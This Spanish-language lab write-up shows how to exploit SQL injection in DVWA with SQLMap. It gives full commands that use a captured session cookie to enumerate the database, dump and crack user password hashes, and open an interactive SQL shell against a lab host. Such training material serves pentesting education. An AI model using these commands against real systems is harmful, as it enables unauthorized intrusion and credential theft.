← Volver al inicio
SQLMap SQL Injection DVWA BurpSuite Pentesting

SQLMap: Explotación de SQL Injection

08/02/2022

Práctica sobre el uso de SQLMap para detectar y explotar vulnerabilidades de inyección SQL en la plataforma DVWA (Damn Vulnerable Web Application) en modo low security.

1. Obtención de Cookies con BurpSuite

Para autenticarnos en DVWA, SQLMap necesita la cookie de sesión. La obtenemos con BurpSuite:

  1. Abre BurpSuite y ve a Proxy → Intercept.
  2. Pulsa "Intercept is on" para empezar a capturar peticiones.
  3. Navega a la página vulnerable de DVWA en el navegador configurado con el proxy de Burp.
  4. Copia el valor completo de la cabecera Cookie: de la petición interceptada.

La cookie tendrá un aspecto similar a:

security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

2. Extracción Completa de Información (-a)

El flag -a intenta extraer toda la información posible del servidor de base de datos: esquemas, tablas, columnas, usuarios, contraseñas, hostname y más.

sudo sqlmap \
  -u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
  --cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
  -a

3. Usuario Actual y Base de Datos Actual

Obtener el usuario MySQL con el que se ejecutan las consultas y el nombre de la base de datos en uso:

sudo sqlmap \
  -u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
  --cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
  --current-db --current-user

4. Enumerar Columnas de una Tabla

Extraer las columnas de la tabla users dentro del esquema dvwa:

sudo sqlmap \
  -u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
  --cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
  -D dvwa -T users --columns

5. Extraer Usuarios y Contraseñas

Volcar el contenido de las columnas user y password de la tabla users:

sudo sqlmap \
  -u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
  --cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
  -D dvwa -T users -C user,password --dump

Las contraseñas están hasheadas en MD5. SQLMap incluye la opción de intentar crackearlas con su diccionario integrado. Cuando aparezca el prompt, pulsa y para iniciarlo:

[INFO] recognized possible password hashes in column 'password'
do you want to crack them via a dictionary-based attack? [Y/n/q] y

6. SQL Shell Interactiva

SQLMap permite abrir una shell SQL interactiva para ejecutar consultas directas contra la base de datos desde la línea de comandos:

sudo sqlmap \
  -u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
  --cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
  -D dvwa --sql-shell

Una vez dentro de la shell puedes ejecutar sentencias SQL directamente:

sql-shell> SELECT user, password FROM users;
sql-shell> SHOW DATABASES;
sql-shell> SELECT @@version;

Resumen de Flags Utilizados

FlagDescripción
-uURL objetivo con el parámetro vulnerable
--cookieCookies de sesión para autenticación
-aExtraer toda la información posible
--current-dbObtener la base de datos actual
--current-userObtener el usuario MySQL actual
-DEspecificar base de datos objetivo
-TEspecificar tabla objetivo
-CEspecificar columnas a extraer
--columnsEnumerar columnas de la tabla
--dumpVolcar el contenido de la tabla
--sql-shellAbrir una shell SQL interactiva